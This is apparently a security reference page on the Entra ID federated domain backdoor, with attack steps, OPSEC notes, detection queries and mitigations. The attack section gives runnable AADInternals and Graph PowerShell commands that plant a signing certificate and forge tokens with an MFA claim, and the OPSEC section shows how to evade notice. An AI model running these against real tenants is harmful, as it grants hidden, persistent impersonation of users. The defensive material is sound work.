How it works
Every verified domain in a Microsoft Entra tenant has an authentication type. For a Managed domain, Entra ID validates credentials itself. For a Federated domain, it redirects users to an external identity provider and accepts the token that comes back, provided the token names the configured issuer and is signed with the domain's signing certificate.
That trust is a handful of properties on the domain's internalDomainFederation object in Microsoft Graph: issuerUri, passiveSignInUri, preferredAuthenticationProtocol, signingCertificate, nextSigningCertificate and federatedIdpMfaBehavior. Whoever can write those properties decides whose signature Microsoft Entra ID believes. No private key has to be stolen: the attacker generates a key pair, registers the public half, and from then on issues tokens for users the same way AD FS would.
Three variants are in use:
- Convert a managed domain to federated. The domain's authentication type is switched and a federation configuration with the attacker's issuer and certificate is created. This breaks password sign-in for real users of that domain, so attackers prefer a domain few people use.
- Add a secondary signing certificate. On a domain that is already federated, the attacker's certificate is written to
nextSigningCertificate. Entra ID accepts tokens signed with the current or the next certificate, so the organization's own federation keeps working and nothing looks broken. - Add a new domain and federate it. The attacker adds a domain they own, proves ownership with a DNS record, and federates it. No existing domain changes.
The forged token identifies the user by the immutable ID (onPremisesImmutableId), and it can carry the claim that multifactor authentication was performed. Unless the domain's federatedIdpMfaBehavior says otherwise, Entra ID accepts MFA done by the federated identity provider. The AADInternals documentation states that a domain converted this way can be used to log in as any user of the tenant whose immutable ID is known, not only users of that domain. Synchronized users always have an immutable ID; for a cloud-only user the attacker sets one first.
A domain-wide federated setting can coexist with staged rollout of cloud authentication for some groups, so one domain can serve two sign-in routes at the same time. Which route a given sign-in took has to be read from the sign-in record, not from the user's UPN suffix.
Prerequisites
- A role that can manage domains and federation settings. Global Administrator and Hybrid Identity Administrator can; the Domain Name Administrator, External Identity Provider Administrator and Security Administrator roles are the others to review. An application with the
Domain.ReadWrite.AllorDomain-InternalFederation.ReadWrite.AllGraph permission can do the same without a user. - A verified custom domain in the tenant to convert, an already federated domain to extend, or a DNS domain the attacker controls to add.
- The immutable ID of each user to impersonate.
- For targets that are cloud-only: the right to write
onPremisesImmutableIdon the user.
Attack steps
For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.
1. Review the current domains
Connect-MgGraph -Scopes "Domain.Read.All"
Get-MgDomain | Select-Object Id, AuthenticationType, IsVerified, IsDefault
Get-MgDomainFederationConfiguration -DomainId corp.example.com | Format-List IssuerUri, PassiveSignInUri, SigningCertificate, NextSigningCertificate, FederatedIdpMfaBehavior
2. Create the backdoor with AADInternals
ConvertTo-AADIntBackdoor sets the domain's authentication type to Federated and makes it trust the certificate that ships with the tool, under an issuer of the form http://any.sts/<id>. If the domain is already federated, the tool adds its certificate as the next signing certificate instead and leaves the existing federation in place.
Import-Module AADInternals
Get-AADIntAccessTokenForAADGraph -SaveToCache
# Prints the issuer URI to use later, for example http://any.sts/B231A11F
ConvertTo-AADIntBackdoor -DomainName corp.example.com
The built-in certificate is public: anyone with the tool can sign for that issuer. An operator who wants exclusive access uses the Graph route below with a certificate of their own.
3. Or write the trust with Microsoft Graph PowerShell
Generate a signing certificate, then create the federation configuration and switch the domain:
Connect-MgGraph -Scopes "Domain.ReadWrite.All"
$cert = New-SelfSignedCertificate -Subject "CN=sts.example.net" -KeyExportPolicy Exportable `
-CertStoreLocation Cert:\CurrentUser\My -NotAfter (Get-Date).AddYears(5)
$signingCertificate = [Convert]::ToBase64String($cert.RawData)
New-MgDomainFederationConfiguration -DomainId "corp.example.com" `
-DisplayName "sts" `
-IssuerUri "http://sts.example.net/adfs/services/trust" `
-PassiveSignInUri "https://sts.example.net/adfs/ls/" `
-SignOutUri "https://sts.example.net/adfs/ls/" `
-SigningCertificate $signingCertificate `
-PreferredAuthenticationProtocol "wsFed" `
-FederatedIdpMfaBehavior "acceptIfMfaDoneByFederatedIdp"
Update-MgDomain -DomainId "corp.example.com" -AuthenticationType "Federated"
For the secondary-certificate variant on a domain that is already federated, only one property changes:
$fed = Get-MgDomainFederationConfiguration -DomainId "corp.example.com"
Update-MgDomainFederationConfiguration -DomainId "corp.example.com" `
-InternalDomainFederationId $fed.Id -NextSigningCertificate $signingCertificate
For the new-domain variant, add the domain in the tenant, publish the TXT record that Entra ID asks for in the attacker's DNS zone, verify the domain, and run the same two commands against it.
4. Prepare the target user
A synchronized user's immutable ID is the Base64 form of the on-premises object GUID and can be read from the directory:
Get-MgUser -UserId alice@corp.example.com -Property OnPremisesImmutableId | Select-Object OnPremisesImmutableId
For a cloud-only user, AADInternals sets one:
Set-AADIntUser -UserPrincipalName "bob@corp.example.com" -ImmutableId "AAAAAAAAAAAAAAAAAAAAAA=="
5. Sign in with a self-issued token
With the AADInternals backdoor issuer and built-in certificate:
# Opens a browser session as the user; -ByPassMFA adds the MFA claim
Open-AADIntOffice365Portal -ImmutableID "AAAAAAAAAAAAAAAAAAAAAA==" -Issuer "http://any.sts/B231A11F" -UseBuiltInCertificate -ByPassMFA $true
# Or keep the token and exchange it for access tokens
$saml = New-AADIntSAMLToken -ImmutableID "AAAAAAAAAAAAAAAAAAAAAA==" -Issuer "http://any.sts/B231A11F" -UseBuiltInCertificate -ByPassMFA $true
$at = Get-AADIntAccessTokenForEXO -SAMLToken $saml
With a certificate of the attacker's own, export it to a .pfx and pass -PfxFileName and the issuer that was registered in step 3, as in Golden SAML.
Impact
The attacker holds a standing second identity provider for the tenant. They can sign in as the users it covers, including administrators that have an immutable ID, and present an MFA claim that satisfies Conditional Access wherever the domain accepts MFA from the identity provider. Password resets, MFA re-registration and session revocation for the affected users do not remove the access, because the trust sits on the domain, not on any account. The secondary-certificate variant is persistence that survives a full remediation of user accounts and remains until someone compares the domain's certificates with the real identity provider. Because the technique starts from a privileged Entra ID role, it is mainly a persistence and impersonation step after role abuse, and a way to act as other users without touching their accounts.
OPSEC and artifacts
- Choosing the quiet variant. Converting a managed domain stops password sign-in for its users, which generates help desk calls within minutes. Adding a next signing certificate, or federating a new or unused domain, breaks nothing. The audit log records all three.
- Audit events. A change to the trust writes Set federation settings on domain; a switch between Managed and Federated writes Set domain authentication. A new domain writes Add unverified domain and then Verify domain. The pairing varies, so a conversion can show only one of the two domain rows.
- Timing it with a rollover. A next signing certificate is expected during an AD FS certificate rollover. An attacker who makes the change in a maintenance window, or who gives the certificate a subject that resembles the real one, relies on reviewers accepting any valid-looking certificate. A validity overlap alone does not tell a planned promotion from a planted key; the thumbprint has to be compared with the federation service.
- Tool fingerprints. The AADInternals backdoor uses an issuer under
http://any.sts/and a fixed public certificate, whichFind-AADIntBackdoorand any thumbprint comparison recognise at once. A custom issuer and certificate avoid that. - Sign-in records. Each use of the backdoor is a federated sign-in in the Entra sign-in log, with the token issuer type of a federation service, from the attacker's address. There is no matching event at the organization's real identity provider.
- Immutable ID writes. Setting an immutable ID on a cloud-only user writes an Update user audit event.
Detection
Every variant passes through the audit log, which makes this attack much easier to catch than key theft, provided someone looks at the events.
- Federation and domain changes. The federated domain backdoor rules alert on federation settings and domain authentication changes and on newly verified domains. Check
Resultfirst (an initiated operation can fail), then the actor, then the changed properties against the approved issuer metadata. - Known-bad issuers. An issuer URI that does not belong to your identity provider, and
any.stsin particular, is a confirmed finding. - Certificate drift. Periodically read each federated domain's current and next certificates and compare the thumbprints with the token-signing certificates in AD FS or your identity provider.
- Token issuer anomalies. Microsoft Entra ID Protection's
tokenIssuerAnomalydetection flags tokens with unusual issuer characteristics. - Role assignments before the change. The roles that can do this are few; the privileged role assignment rules catch the step that usually precedes it.
AuditLogs
| where ActivityDisplayName in~ (
"Set federation settings on domain",
"Set domain authentication",
"Add unverified domain",
"Verify domain")
| mv-expand Target = TargetResources
| project TimeGenerated, ActivityDisplayName, Result, CorrelationId, InitiatedBy,
TargetName = tostring(Target.displayName),
Changed = Target.modifiedProperties
| order by TimeGenerated desc
To review the current state instead of the history:
Connect-MgGraph -Scopes "Domain.Read.All"
foreach ($domain in Get-MgDomain | Where-Object AuthenticationType -eq "Federated") {
Get-MgDomainFederationConfiguration -DomainId $domain.Id |
Select-Object @{n='Domain';e={$domain.Id}}, IssuerUri, PassiveSignInUri, SigningCertificate, NextSigningCertificate, FederatedIdpMfaBehavior
}
# AADInternals: lists federated domains with certificate thumbprints and warns about its own backdoor
Find-AADIntBackdoor
The snapshot is the better witness for the resulting state; the audit log tells who made it so.
Mitigation
- Keep the roles that manage domains nearly empty. Make Global Administrator and Hybrid Identity Administrator eligible through Privileged Identity Management with approval and phishing-resistant MFA; the PIM guide shows the settings. Review applications that hold
Domain.ReadWrite.All. - Do not let the identity provider satisfy MFA. On every federated domain set
federatedIdpMfaBehaviortorejectMfaByFederatedIdp, so Entra ID always performs MFA itself and a forged MFA claim is ignored. - Retire federation where you can. A tenant with only managed domains makes any Federated domain an immediate alert. The Entra Connect hardening guide compares the sign-in methods.
- Alert on the four audit activities and require a change record for each. Planned certificate rollovers are the only routine source.
- Baseline and compare. Keep the approved issuer URI and certificate thumbprints per domain, and compare the live configuration on a schedule and after every incident. Remove verified domains nobody uses.
- Keep cloud-only emergency access accounts on the
onmicrosoft.comdomain, which is always managed, so an administrator can still sign in when a domain's federation has been tampered with. - To remove a backdoor: clear the unknown next signing certificate or restore the real one, or convert the domain back with
Update-MgDomain -DomainId <domain> -AuthenticationType "Managed"; delete attacker-added domains; then revoke sessions for the users who could have been impersonated and trace how the role was obtained.
Detection rules for this attack
Log events to collect
FAQ
How is a federated domain backdoor different from Golden SAML?
Golden SAML steals the signing key of the identity provider the tenant already trusts. The federated domain backdoor changes the tenant instead, so that it trusts a key the attacker created. The forged tokens look alike, but the backdoor needs a privileged cloud role, not access to AD FS, and it leaves audit events in the tenant.
Which audit events show a federation change in Microsoft Entra ID?
Set federation settings on domain records a change to the issuer, endpoints or signing certificates. Set domain authentication records a switch between Managed and Federated. A new domain appears as Add unverified domain and Verify domain. Outside a planned migration or certificate rollover these events should be rare, so every one deserves a look.
Can a secondary signing certificate be a backdoor?
Yes. A federated domain has a current signing certificate and an optional next signing certificate, which exists so that a rollover does not break sign-ins. Entra ID accepts tokens signed by either. An attacker who adds their own certificate as the next one leaves the real federation working and gains a second, hidden issuer key.
How do I remove a federated domain backdoor?
Compare each federated domain's issuer and both certificates with your identity provider. Remove an unknown next signing certificate, or convert a domain that should not be federated back to Managed, and delete domains nobody recognises. Then revoke sessions of users who may have been impersonated and investigate how the role was obtained.
References
- Domain or Tenant Policy Modification: Trust Modification, T1484.002 (MITRE ATT&CK)
- internalDomainFederation resource type (Microsoft Graph)
- Create internalDomainFederation (Microsoft Graph)
- Microsoft Entra audit log activity reference: domain activities (Microsoft Learn)
- How to create a backdoor to Azure AD, part 1: Identity federation (AADInternals)
- AADInternals documentation: ConvertTo-AADIntBackdoor, Find-AADIntBackdoor, Open-AADIntOffice365Portal
Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.